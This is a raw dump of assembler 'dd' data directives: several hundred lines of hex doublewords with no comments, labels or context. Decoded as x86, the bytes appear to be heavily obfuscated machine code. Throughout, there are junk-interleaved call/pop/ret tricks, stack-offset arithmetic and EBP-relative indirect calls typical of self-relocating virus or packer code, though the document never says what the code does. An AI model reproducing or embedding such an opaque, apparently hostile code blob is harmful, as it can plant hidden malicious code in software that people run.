dd 622EE5Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ah, 93C35747h, 13BBFF21h, 8B52D2BEh, 1F1F35BDh, 0BD815E06h
dd 61F05E1h, 7D0h, 191860Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 180424h, 53430000h, 40701BC3h
dd 0B58B537Ah, 61F14E1h, 2AD19D8Bh, 0B5BF061Fh, 8112BEA5h
dd 100E3h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1904h, 0C3574700h, 0DFE30BF3h, 0DB0B1299h, 0B1850Fh
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
dd 50400000h, 5500A9C3h, 636DC1E3h, 3840F2Bh, 0F000000h
dd 0BD83F9BFh, 622ECA6h, 33840F00h, 29000000h, 1F07D185h
dd 9AE906h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 180424h, 56460000h, 57A56FC3h, 0BD8BA14Eh, 61F0825h
dd 85C7F08Bh, 622ECA6h, 1, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ch, 0C1C35545h, 5BA30EAEh, 0B58ECAD2h, 8855F681h
dd 39E918DFh, 0E9000000h, 7, 0AAAF433Dh, 0C725B356h, 22ECA685h
dd 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1604h, 0C3574700h, 66C0D249h, 7048DE81h, 2AD19D8Dh
dd 6A061Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
dd 51410000h, 0F88B3CC3h, 151D8509h, 2381061Fh, 0FFFFFEFFh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0BDC35747h
dd 3B22F619h, 66F08B66h, 6ADB8Ch, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1B0424h, 57470000h, 3689C1C3h, 0B8F90E64h
dd 58F0FDAh, 66000000h, 0B41BC781h, 830Fh, 0C3F60000h
dd 66840F04h, 0BF000000h, 0DD16C56h, 317595FFh, 6A061Fh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 0C21B7AC3h, 6E9h, 27121400h, 66289577h, 900CA7BEh, 8E850h
dd 0ED240000h, 0C81D9DF9h, 12E9CD04h, 7F000000h, 7B7F38F6h
dd 0F49CA68Ah, 0E2348C24h, 61414EB7h, 81905FC6h, 3BBCEDD6h
dd 3D5E978h, 820F0000h, 8, 0BD9D2956h, 5E061F0Eh, 7D1BD8Bh
dd 0B0061Fh, 15A1B589h, 70E6061Fh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 19h, 73C35343h, 0C7BFC543h, 0CF8166DCh
dd 71E47F23h, 20E9BD8Bh, 8529061Fh, 61F1D6Dh, 81D8B60Fh
dd 898FFDE7h, 6BA46h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 190424h, 52420000h, 0BCE79BC3h, 8B88C7FBh
dd 0FE8B66C3h, 6A04E8C1h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1B042444h, 40000000h, 6C8EC350h, 0E2468533h
dd 810F3821h, 5, 0C5CE8166h, 0F766F9D3h, 52006AE2h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
dd 0B07BBD70h, 0BDB58B0Bh, 2B061F30h, 25B589D8h, 50061F16h
dd 0FE9h, 0ABABE100h, 9A51E3E5h, 0D8C3991Eh, 0F2835240h
dd 0FF241C89h, 1F05E1B5h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 0B7AA46FDh
dd 646F6506h, 4595FFB1h, 6A061F1Dh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 3E69C355h
dd 424CA399h, 0C185891Dh, 8B061F02h, 1F2ED1B5h, 3300B006h
dd 1F167DBDh, 6A70E606h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 15042444h, 43000000h, 5BE3C353h, 0FF9BF0Fh
dd 8Dh, 6A71E400h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 19042444h, 40000000h, 4778C350h, 0E19FEA71h, 7CC2B0BFh
dd 0F613C36h, 21683h, 95BD8900h, 0F061F16h, 38Eh, 0FE8B6600h
dd 6AD8B60Fh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 17042444h, 47000000h, 6408C357h, 0BD0B59A8h, 61F1221h
dd 81666057h, 0FC2309DAh, 6BA5F61h, 0E8000000h, 0Eh, 30A3DD54h
dd 68AD3531h, 700A7A91h, 8B5EB6D9h, 0FD8589C3h, 0C1061F20h
dd 6A04E8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
dd 55450000h, 0E9E6A8C3h, 0C4C85DDAh, 66D6FE16h, 0FE8E2F7h
dd 0D5000000h, 0F178A726h, 0E5720987h, 0C6D3DDC4h, 9589BF47h
dd 61F1465h, 6AD82B5Eh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 19042444h, 42000000h, 7FC4C352h, 8EDB4017h
dd 2459D89h, 151061Fh, 1F1C0995h, 0E9585F06h, 6, 0A1FAA901h
dd 0D82BFCF2h, 129880Fh, 0E0BF0000h, 0B914369Ah, 7, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 7CC35141h, 132C7669h
dd 0F725559h, 1488h, 0CE85100h, 58000000h, 14963CD5h, 0FE0E2389h
dd 5F016B9Eh, 0C1835Fh, 860FD93Bh, 0D7h, 365751BFh, 0D98C663Dh
dd 32B98D31h, 0C1F6061Fh, 0B2840F04h, 6A000000h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
dd 0F85CC353h, 2A51BD89h, 95FF061Fh, 61F3175h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 62C35545h, 11E88B38h
dd 8A000000h, 4FFA5771h, 0AE62CA9Eh, 0FA150069h, 44C96785h
dd 56E6815Fh, 8917E591h, 1F08859Dh, 0B58B5B06h, 61F0769h
dd 6AC32Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
dd 55450000h, 0D44F10C3h, 0B463C25h, 0DCDF8134h, 3D1A10F0h
dd 834h, 0B860Fh, 0B58B0000h, 61F1A71h, 0EE9h, 0FC08B00h
dd 68Ch, 698D3100h, 8B061F16h, 0C7D88BC3h, 1F160D85h, 0DE817706h
dd 52006A11h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h
dd 0C3524200h, 0C08B4D20h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 18h, 16C35646h, 0D833D1B8h, 0AED9D89h, 6660061Fh
dd 9589F78Bh, 61F0675h, 0E1BD8161h, 0D0061F05h, 0F000007h
dd 4085h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1504h, 0C3534300h, 85FFB9BCh, 61F05E1h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0C5C35141h, 0E1B5FF9Fh
dd 6A061F05h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 15042444h, 45000000h, 49EC355h, 9E9h, 91977F00h, 1963BB2Fh
dd 0B58B3C2Ch, 61F2AD5h, 1D4595FFh, 6660061Fh, 9985D681h
dd 61D9B70Fh, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1604h, 0C3554500h, 6A2C000Ah, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 14042444h, 47000000h, 29BFC357h, 1F08B195h
dd 14E906h, 0CE6F0000h, 56A81B18h, 6F2DE421h, 2EF3C1Ch
dd 129E9C7h, 6AA901h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 170424h, 52420000h, 899326C3h, 95896020h, 61F20C9h
dd 6850Fh, 958B0000h, 61F30FDh, 7DB58B61h, 89061F0Ah, 1F192D8Dh
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h
dd 0C3524200h, 3C288310h, 4E8B917Bh, 718D31F5h, 60061F24h
dd 6850Fh, 958B0000h, 61F15C5h, 1AE1B589h, 8D89061Fh, 61F1A25h
dd 57006A61h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h
dd 0C3574700h, 32781217h, 0E9F353D7h, 90D6F4BFh, 0F7AAE944h
dd 6AFFFFh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
dd 50400000h, 8BA34FC3h, 6860FC1h, 8B000000h, 1F2EB5B5h
dd 4EB06h, 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 16042444h, 40000000h, 0D849C350h, 858DF916h, 61F19BDh
dd 9E60DF81h, 895005BCh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1B0424h, 53430000h, 0EB0A17C3h, 50C9583h
dd 659D8968h, 6A061F1Bh, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1404h, 0C3514100h, 6AF576h, 8E9h, 0D3EF5300h
dd 5BA9F0D8h, 2DB52370h, 8D061F30h, 22F8C885h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
dd 6F05EDB8h, 0DA490484h, 31B58BBDh, 83061F13h, 6A05C0h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
dd 0C68A9BC3h, 9BE68166h, 14820F65h, 0F000000h, 0E82h
dd 9E900h, 0A5560000h, 0AF316A98h, 0FD58F88h, 682h, 0E5B58900h
dd 50061F09h, 89FB8B66h, 6A2404h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 190424h, 51410000h, 0CDABEC3h, 665E8640h
dd 2D09CF81h, 0CDDB58Bh, 0BD8B061Fh, 61F0805h, 0CE81006Ah
dd 1FCA3EDDh, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 160424h, 51410000h, 7C3E82C3h, 0FFF0B70Fh, 1F016195h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h
dd 0C3554500h, 0F5858903h, 0BE061F0Fh, 9BF1627h, 0B1F29D8Dh
dd 8D890622h, 61F0619h, 6AD3FFh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 150424h, 57470000h, 0FF8ABEC3h, 1F102985h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h
dd 0C3554500h, 0FBB70FCCh, 845E9h, 0E800h, 815D0000h, 22F8D2EDh
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h
dd 0C3534300h, 611B2FF1h, 90FA3ED8h, 56D681A5h, 811BA059h
dd 1F05E1BDh, 7D006h, 78860F00h, 0F000001h, 9D8BFEBFh
dd 61F0DD5h, 0B927D2BEh, 0E3814Ch, 6A000001h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
dd 8212C351h, 57C0219Ah, 769F4943h, 850FDB0Bh, 0C9h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0D2C35343h, 39B50B92h
dd 52061F0Dh, 8B5E5E53h, 1F1D7DBDh, 0DBBD8306h, 622F6h
dd 4E840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 190424h, 56460000h, 6FE1C6C3h, 66F8FE60h, 9FE9FA8Bh
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1D042444h, 40000000h, 1875C350h, 0B23D7B28h, 38562198h
dd 0F6DB85C7h, 10622h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 160424h, 51410000h, 0F5FC7C3h, 0FE9h, 0D172200h
dd 71F845C4h, 771DA55h, 0CF3457DBh, 39E9h, 0DB85C700h
dd 622F6h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 15042444h, 42000000h, 526CC352h, 0C8D0Fh, 0BA600000h
dd 30B54CECh, 36DE20BBh, 9D8D616Ah, 61F0DD5h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 49C35747h, 0C18D89DBh
dd 81061F2Bh, 0FFFEFF23h, 25B58BFFh, 66061F0Fh, 800FDB8Ch
dd 1, 4C3F6FCh, 32840Fh, 8E0F0000h, 6, 29DBD8Bh, 95FF061Fh
dd 61F3175h, 0AF836FBFh, 0B1609060h, 50506111h, 0F18B6652h
dd 0BABE310Fh, 5A3BA893h, 9D019058h, 61F2BCDh, 3E4E9h
dd 6A00B000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 17042444h, 47000000h, 0F6C357h, 70E6E458h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 6FC35545h, 8C9E3926h
dd 0FC575616h, 0BE6671E4h, 0B60FDFE0h, 93BF66D8h, 6BA67h
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
dd 50400000h, 0CC6942C3h, 99B79F2h
dd 0E68192CEh, 67EECBAFh, 6AC38Bh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 190424h, 57470000h, 604CA9C3h, 0FD39635h
dd 685h, 8C0F00h, 0C1000000h, 0B58B04E8h, 61F2CB5h, 6AE2F766h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h
dd 47000000h, 3A91C357h, 64CCFB33h, 6AD82B7Ch, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
dd 95EDC357h, 8E9D6h, 32E60000h, 918FCA5h, 50FC083Dh, 0F241C89h
dd 386h, 5FF95200h, 5E1B5FFh, 6A061Fh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 170424h, 57470000h, 388A2DC3h
dd 11EF81E3h, 0FF7131D7h, 1F1D4595h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0FC8091EEh
dd 3CB1C6A5h, 0AE84752h, 61000000h, 3B13E632h, 0CFD44996h
dd 0F08B6606h, 0F00B05Eh, 0B52BFBBFh, 61F12C5h, 6A70E6h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
dd 0F91C1AC3h, 8D78534Eh, 0D3F4E4BFh, 371E40Fh, 1F14FDBDh
dd 71BD8B06h, 3C061F06h, 16830F61h, 66000002h, 44BEF18Bh
dd 0F24043Bh, 6AD8B6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 150424h, 57470000h, 29563CC3h, 1F08A99Dh, 6BA06h, 0C38B0000h
dd 51FBA8BEh, 4E8C12Dh, 64EBDBBFh, 9B58937h, 66061F16h
dd 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
dd 57470000h, 0BD310CC3h, 61F2C45h, 9D09D82Bh, 61F2AADh
dd 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h
dd 0C3534300h, 6E8B1FFh, 1C000000h, 0DBF903AEh, 15B58B11h
dd 5F061F2Eh, 0DCE2C781h, 0D82B12ECh, 163880Fh, 0BF660000h
dd 7B9294Dh, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 17042444h, 42000000h, 0E055C352h, 0BD89D477h
dd 61F0E9Dh, 6A00C183h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 19042444h, 40000000h, 0CF21C350h, 57B86C0Dh
dd 2E919D89h, 3BF5061Fh, 2860FD9h, 6A000001h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
dd 9967C352h, 0A149DD0Ah, 789ECDA7h, 0B55ABFBEh, 0D98C6602h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 3AC35343h
dd 8B3C93EBh, 1F074DBDh, 4C1F606h, 97840Fh, 81660000h
dd 0E95128DFh, 0Ah, 2ACC21EEh, 0D371CE26h, 95FFD3FAh, 61F3175h
dd 15AD8529h, 0FC5B061Fh, 6AC32Bh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1C0424h, 56460000h, 1B306DC3h, 4651D700h
dd 8B51C1F6h, 1F1F3DB5h, 8B665F06h, 8343DFAh, 860F0000h
dd 39h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh
dd 2FC35242h, 598889ABh, 0CD304FACh, 1FE901h, 0E9530000h
dd 8, 0D0C45233h, 80A04096h, 0E9C08B5Fh, 9, 0FBB422D9h
dd 6E1F889Fh, 8BC38B25h, 50006AD8h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1904h, 0C3504000h, 0AC92DA1Ch, 85C735BEh
dd 61F2AD1h, 7F5D4FF5h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ah, 92C35040h, 4A992794h, 0B70FD175h, 13E9F7h
dd 0BB2C0000h, 0E2736CCEh, 0A7ABDDCCh, 54DF48E7h, 11E256BBh
dd 6AC08B82h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 31B6C351h, 0D96AF0C3h, 0E7818988h
dd 3DBE9B70h, 2C19BD8Bh, 0BD81061Fh, 61F05E1h, 7D0h, 23850Fh
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
dd 50400000h, 0FF9803C3h, 1F05E185h, 0E1B5FF06h, 0E9061F05h
dd 8, 0F3FF290Fh, 601325D5h, 1D4595FFh, 6A061Fh, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
dd 52DBE4C3h, 8A0F609Ch, 1Ah, 14E8h, 5A2E4200h, 7396952Dh
dd 0BE57558Ch, 55CF79CEh, 9C5B5588h, 33525E9Bh, 1F1025B5h
dd 90615E06h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ch, 57C35141h, 6A39CA8Fh, 10BC4E58h, 0F5DF8166h, 28D0F96h
dd 8B000000h, 0F3B70FF3h, 2890F60h, 8B000000h, 0C0BF0FF3h
dd 2E618D89h, 0F61061Fh, 28Dh, 89FE8B00h, 1F12AD85h, 59BE6606h
dd 1860FCCh, 0F9000000h, 2A84F681h, 6A6E6Bh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 150424h, 53430000h, 57891FC3h
dd 755BD2Bh, 665E061Fh, 52BBDE81h, 10919D89h, 8156061Fh
dd 8BE381D7h, 0F38B5E45h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 19h, 89C35747h, 0EE5DB842h, 3DBD33A9h, 0F061F0Ah
dd 0F8Fh, 5E900h, 0F8B0000h, 0BF79F981h, 0E9CB3A5h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 7DC35040h, 0EBD95F81h
dd 4BF17428h, 0E7816606h, 0D6E9F396h, 66FFFFF7h, 0E827BCBEh
dd 5, 0DE3FE4CBh, 0EDBD8B11h, 89061F08h, 1F1B9185h, 0C18B5F06h
dd 0EDBE5660h, 5A6B7EA2h, 0EF19D89h, 8961061Fh, 1F1AED95h
dd 4EB06h, 0F9000000h, 2F5D8D89h, 858D061Fh, 61F19BDh
dd 68B0Fh, 0D7810000h, 10B769C2h, 0FABF6650h, 24048908h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 3C35343h
dd 31920B34h, 1F1AC995h, 0F1E78106h, 6A303CB9h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 0B4766111h, 0BE666AEFh, 0BF0F6E6Fh, 8D006AFEh, 2302DB85h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h
dd 0C3524200h, 8B337849h, 1F1BB9B5h, 13E906h, 34C60000h
dd 456483ECh, 133D22D8h, 0C5823FF8h, 0E14C5818h, 5C08335h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 84C35343h
dd 4A16B845h, 6E8h, 1A918800h, 66D6AA2Fh, 5FD12CBEh, 10199529h
dd 5090061Fh, 6E8h, 7EEED800h, 60EAE3A8h, 0BF66FA8Ah, 5E61939Bh
dd 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h
dd 0C3554500h, 0AA044F40h, 0CE99529h, 6A061Fh, 1D29B58Bh
dd 6A061Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 18h, 8DC35545h, 91851442h, 6F1BD8Bh, 95FF061Fh, 61F0161h
dd 1EA98D31h, 9D8D061Fh, 622B1F2h, 5AA3D781h, 0D3FF4F56h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 3BC35141h
dd 891D76A8h, 1F15C5BDh, 2985FF06h, 0BF061F10h, 7217513Fh
dd 0E9F3BF0Fh, 83Bh, 0E8h, 0ED815D00h, 62302E5h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 24C35242h, 0DC18337h
dd 0FDBE24BEh, 68B0FC2h, 1000000h, 1F0891BDh, 0DDB58B06h
dd 81061F11h, 1F05E1BDh, 7D006h, 3B860F00h, 6A000001h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h
dd 45000000h, 0BB96C355h
dd 0B8182578h, 0B9943CF3h, 1D3D9D8Bh, 6652061Fh, 5ECB7FBFh
dd 100E381h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 140424h, 50400000h, 0DB0B29C3h, 99850Fh, 9D890000h
dd 61F2F7Dh, 12BBD83h, 0F000623h, 5784h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
dd 0C5204D80h, 0AE97Eh, 0BECC0000h, 0C80C42D5h, 6027451Dh
dd 15BD0Bh, 81E9061Fh, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 15042444h, 40000000h, 1CDDC350h
dd 12B85C7h, 10623h, 13E80000h, 7000000h, 0F32840CEh, 4C5E7E2Ch
dd 4C070C2Fh, 0ECFAA286h, 0BE66A3C9h, 0E95E2FF0h, 38h
dd 0C7F3BF0Fh, 23012B85h, 6, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0BE0997Dh
dd 72F59ABEh, 0B58B0239h, 61F2E69h, 1D3D9D8Dh, 2381061Fh
dd 0FFFFFEFFh, 2419B58Bh, 8C66061Fh, 0EE9DBh, 1C8F0000h
dd 4B48635Ch, 0D89017CFh, 7E10F687h, 0F04C3F6h, 9684h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h
dd 0C3524200h, 619D8985h, 0FF061F03h, 1F317595h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
dd 0DA123962h, 2DDAD28h, 0E890605Dh, 0Dh, 803F0621h, 50178F5Ah
dd 221291F0h, 0D3F5BFFFh, 505F6997h, 0CCFABF66h, 52006A90h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 0DC237745h, 51578D6Ah, 59BC39BEh, 0E95E5F68h, 3E5h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 25C35242h
dd 6A00B0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
dd 53430000h, 9A84C5C3h, 0E6816660h, 0BF0F90A0h, 8B6661C9h
dd 6A70E6FAh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 3893C350h, 8ABEBE72h, 0E441DB7Dh
dd 0BE971h, 9E430000h, 49742016h, 7151086Ah, 3ABE664Ch
dd 0D8B60F6Bh, 0C9CE8166h, 6BAD6h, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 150424h, 55450000h, 667D4AC3h
dd 8BDEFEBFh, 51006AC3h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1904h, 0C3514100h, 3D59ABDFh, 0E8C1AAD8h, 0EDB58B04h
dd 66061F1Fh, 0B533E2F7h, 61F2D1Dh, 8950D82Bh, 6A241Ch
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 981DEDC3h, 0BF0F60F8h, 61F080F9h, 0E1B5FF61h, 0E8061F05h
dd 0Ch, 0D85D2AEDh, 73C91CCAh, 1495BB29h, 0FF5EF28Bh, 1F1D4595h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h
dd 0C3504000h, 79BD0B2Eh, 0B0061F05h, 0F9B70F00h, 6A70E6h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
dd 69DB71C3h, 0CCDC2D2Bh, 71E45497h, 1669BD8Bh, 613C061Fh
dd 253830Fh, 0FFC0000h, 6AD8B6h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1B0424h, 57470000h, 2251BBC3h, 592C64BCh
dd 8C0FB8h, 0BA000000h, 6, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ah, 5C35343h, 3B95B0h, 0B5290F37h, 61F2F05h
dd 6AC38Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
dd 50400000h, 0A96E5BC3h, 66F98B79h, 37E9EE81h, 6A04E8C1h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h
dd 41000000h, 0C113C351h, 932C2BDh, 0E8FC3777h, 0Dh, 0DF23E896h
dd 0E11A6BD9h, 2980847Bh, 6288BF7Ah, 665F0289h, 0D82BE2F7h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0D8C35545h
dd 772A7F61h, 0F713229Eh, 68F0Fh, 8D890000h, 61F2BD5h
dd 8DBD0158h, 2B061F2Dh, 4E880FD8h, 60000001h, 14E8BA66h
dd 0AD1858Bh, 0B961061Fh, 7, 11E8h, 0D3CC7800h, 0D6AF5FA7h
dd 0E06071BDh, 0FC3F688h, 0B58B08A9h, 61F0099h, 0C1835Eh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 1C35141h
dd 0B063842Ch, 75FE2723h, 2DC9BD8Bh, 0BD01061Fh, 61F1C51h
dd 0D9CE8166h, 0FD93BABh, 0E086h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0CAF5E252h
dd 8C665937h, 45B509D9h, 0F6061F1Bh, 840F04C1h, 71h, 2ACD8589h
dd 95FF061Fh, 61F3175h, 67C4EF81h, 6A5B1432h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 2BC5C350h, 0A5B58BC3h, 53061F2Eh, 5EF1BF0Fh, 8343Dh
dd 2A860F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 0E6BFC356h, 0E92E8D46h
dd 41h, 0A05AA7BEh, 6AC08B76h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1D042444h, 47000000h, 430AC357h, 1DD76C12h
dd 3A00888Ah, 10E9h, 695BB000h, 9DC1F3ABh, 96B0695h, 0AF06117Eh
dd 8BC38B57h, 0C7F08BD8h, 1F0DD585h, 3D79B106h, 0D7816659h
dd 0C08BACB2h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Bh, 6AC35040h, 0E3BAAB6Ah, 81BECF7Ch, 1F05E1BDh, 7D006h
dd 0D850F00h, 0F9000000h, 5E185FFh, 0B589061Fh, 61F2C3Dh
dd 5E1B5FFh, 6A061Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1C0424h, 57470000h, 22AFEBC3h, 6C0CA63Ah, 95FF5249h
dd 61F1D45h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Ah, 67C35343h, 0F30DB41Ch, 0BF0F87E3h, 9D8990F0h, 61F247Dh
dd 114DBD8Bh, 0EE8061Fh, 9C000000h, 52ADA741h, 63B50D8Eh
dd 847EB233h, 0FA8B66E5h, 10E9h, 1C25F400h, 0D2A429F2h
dd 252EE7EDh, 1368CBEh, 860F5E10h, 0Ch, 0A7DB58Bh, 8D29061Fh
dd 61F11E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ch, 0E9C35545h, 0BD7F6A66h, 81ABE7A0h, 9FB8B66h, 1F2E2185h
dd 0F28B6606h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 18h, 0C9C35747h, 3D104B1Bh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 16h, 0A0C35242h, 8529AB90h, 61F1E1Dh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0B3C35343h
dd 53006A02h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h
dd 0C3534300h, 2FF63C35h, 29D48716h, 1F14C595h, 12E96006h
dd 31000000h, 2F1A9188h, 0B682D6AAh, 0BEEFC83Eh, 0BB80016h
dd 0B19509F6h, 0E9061F1Bh, 10h, 0A5AE268Ah, 37BD9460h
dd 39C401A2h, 5B83F19Ch, 0F1BD8961h, 0E9061F0Ch, 0FFFFF7E4h
dd 0DE9h, 916AF800h, 1678B684h, 0B005A40Ah, 8E93B95h, 0D4000000h
dd 7B50C8E9h, 8BC27545h, 559589C1h, 0BF061F0Ch, 60DBADh
